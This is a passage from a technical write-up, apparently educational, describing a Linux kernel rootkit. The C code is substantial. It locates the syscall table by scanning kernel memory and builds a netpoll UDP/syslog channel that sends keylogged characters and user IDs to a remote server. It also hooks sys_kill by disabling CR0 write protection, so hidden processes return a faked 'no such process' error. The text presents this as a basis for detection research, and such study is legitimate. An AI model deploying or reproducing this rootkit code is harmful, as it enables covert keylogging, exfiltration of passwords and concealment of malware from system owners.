Most of the systemcall methods are public available in the <linux/syscalls.h> header file. The first entry of the systemcall table is a pointer to the sys_close method. This method exports the sys_close method pointer of the <linux/syscall.h> header file. Afterwards the method iterates through the kernel memory space and checks if the current examined pointer is the same as the adress of the sys_close method. If the pointers are the same the method returns the adress of the systemcall table. Of course the rootkit could also have implemented more security checks for example if the pointers of the second and third entry are also pointing to the correct method specified in <linux/syscall.h>.

To implement this solution first of all the rootkit defines the begining and ending of the kernel adress space.

```
#define KERNEL_INSTRUCTIONS_BEGIN_SPACE 0xC0000000
#define KERNEL_INSTRUCTIONS_END_SPACE 0xFFFFFFFF
```

In the initialization of the rootkit the method to determine the systemcall table is called.

```
pSysCallTable = (unsigned long*)findSystemCallTable();
```

Finally the method findSystemCallTable iterates over the kernel address space and searches the systemcall table.

```
static unsigned long **findSystemCallTable(void)
{
  unsigned long **pSCTable;
  unsigned long int i = KERNEL_INSTRUCTIONS_BEGIN_SPACE;

  while (i < KERNEL_INSTRUCTIONS_END_SPACE)
  {
    pSCTable = (unsigned long **)i;

    if (pSCTable[__NR_close] == (unsigned long *)sys_close)
    {
      return &pSCTable[0];
    }

    i += sizeof(void *);
  }

  return NULL;
}
```

3.8 Sending Network Packets From Within the Kernel

Sending network packets from within the kernel wouldn't be a trivial task, if it weren't for the netpoll API. Once a rootkit has been inserted, the authors might want the rootkit to send information that it has gathered, to a remote server, where it can then be processed. A simple use case would be a key logger that sends the logged information to a server, where the data can be analysed for sensitive information, such as passwords.

In order to send network packets from within the kernel, we set up a connection using the netpoll API (*include linux/netpoll.h*) to send UDP packets. This is fairly simple, as the API does all the work for us and only requires the following information:

- The local port to be used by the rootkit.
- The local IP.
- The remote port used by the server we want to contact.
- The remote IP of the server.
- The MAC address of the gateway (of the network where the machine with the rootkit is located in).

We give this gathered information to netpoll by calling *netpoll_parse_options* and then set up the connection by calling *netpoll_setup*. *netpoll_parse_options* accepts the above information in the form of a string, which is formatted as followed:
<local port>@<local ip>/<dev>,<remote port>@<remote ip>/<gateway MAC>

```
void start_netpoll_connection(void)
{
  char opt[256] = "\0";
  char port_str[8] = "\0";

  /*
  * Put together the info that netpoll needs in order to send
  * our udp packet. The options format is:
  * <local port>@<local ip>/<dev>,<remote port>@<remote ip>/<gateway
     MAC>
  */
  sprintf(port_str, "%d", client_port);
  strcat(opt, port_str);
  strcat(opt, "@");
  strcat(opt, client_ip);
  strcat(opt, "/eth0,");
  sprintf(port_str, "%d", server_port);
  strcat(opt, port_str);
  strcat(opt, "@");
  strcat(opt, server_ip);
  strcat(opt, "/");
  strcat(opt, gateway_hw_address);
  printk(KERN_INFO "%s\n", opt);

  // Pass these options to netpoll in order to set up the requested
     connection.
  netpoll_parse_options(&np, opt);
  netpoll_setup(&np);
}
```

The variable *np* in the above listing is of type *struct netpoll* which contains information about the connection. The function call to *netpoll_parse_options* fills out most of this info for us, the only thing left for us to do, is give this netpoll instance a name (stored in *np.name*).
Now we can send messages as UDP packages by passing our netpoll connection info (stored in *np*), our message text and the length of our message to *netpoll_send_udp*:

```
netpoll_send_udp(&np, char_msg, strlen(char_msg));
```

A simple way of handling the sent data, is if the syslog protocol is used. This protocol is based on top of UDP and only requires a certain format of the message. If the server side has a syslog-ng server running, the packages can be sent with netpoll in a format conforming to the syslog protocol, and will be received by the syslog-ng server and automatically processed and stored in a desired location. This takes quite a bit of work off the hands of the server side when it comes to handling the data that the rootkit sends. The syslog header allows the programmer to give each message a severity level, upon which the syslog-ng server will be able to know where to store the message. In our implementation, we gave every message the severity level 0, which indicates a *kernel message*. Therefore the syslog-ng (v3.1.3) server will typically store the received messages in the file */var/log/kern.log* unless it was configured otherwise. We can format our messages to conform to the syslog protocol as kernel messages simply by adding *<0>* (the severity level surrounded by brackets < and >) before our message. The following code shows an example of creating a syslog message (severity level = 0) and sending it to a server.

```
static void send_to_server(char *buf, char *send_to_ip)
{
  unsigned int user_id = (unsigned int)current_uid();
  char char_msg[MAX_MESSAGE_LENGTH] = "<0> UID: ";
  char user_id_str[8] = "\0";

  // Construct the message.
  sprintf(user_id_str, "%d", user_id);
  strcat(char_msg, user_id_str);
  strcat(char_msg, ", Char: ");
  strcat(char_msg, buf);
  strcat(char_msg, "\n");

  // Send the message.
  netpoll_send_udp(&np, char_msg, strlen(char_msg));
}
```

It also adds the user ID of the current user to the message. This also helps categorize the messages for later use.

3.9 Additional Features

The last feature of the rootkit which should be mentioned is the hooking of the *sys_kill* system call. If the pid which should be killed is that of a hidden process or one of its descendants, the kill message is ignored but the rootkit fools the user by returning the message normally shown when a process to be killed is not found. This is done because a user could try to check if hidden processes exists by killing all pids not shown in the */proc* directory.

```
void hook_sys_kill(void)
{
  p_original_sys_kill = (asmlinkage long (*)(int,int))prak_sys_kill;
  write_cr0(read_cr0() & (~0x10000));
  ((unsigned long *)p_sys_call_table)[__NR_kill] = (unsigned long)
      hooked_sys_kill;
  write_cr0(read_cr0() | 0x10000);
}

asmlinkage long hooked_sys_kill(int pid, int sig)
{
  int i, j;

  for (i = 0; i < MAX_PROC_HIDE; i++)
  {
    if (pid == hidden_procs[i].hidden_parent->pid)
      return -ESRCH;

    // Check the descendants.
    for (j = 0; j < hidden_procs[i].num_descs; j++)
    {
      if (pid == hidden_procs[i].descs[j]->pid)
        return -ESRCH;
    }
  }

  // Not a hidden process, continue as usual.
  return p_original_sys_kill(pid, sig);
}
```

Of course the rootkit restores the original *sys_kill* method when it gets unloaded.

```
void unhook_sys_kill(void)
{
  write_cr0(read_cr0() & (~0x10000));
  ((unsigned long *)p_sys_call_table)[__NR_kill] = (unsigned long)
      p_original_sys_kill;
  write_cr0(read_cr0() | 0x10000);
}
```

4 Conclusion

The rootkit presented in this technical write-up provides all the basic functionality that a rootkit should have. In addition to that, it is very scalable since further commands can easily be added to the covert communication channel.
This write-up serves as a good basis for understanding the core functionality of the rootkit, which in turn is a very basic implementation of it's kind. Knowing these kinds of techniques are the basis for detecting rootkits and reducing the attack surface of a system. This is by far not everything there is to know about rootkits

and how they work, but serves as a good introduction and offers an implementation, that is easy to experiment with and learn from.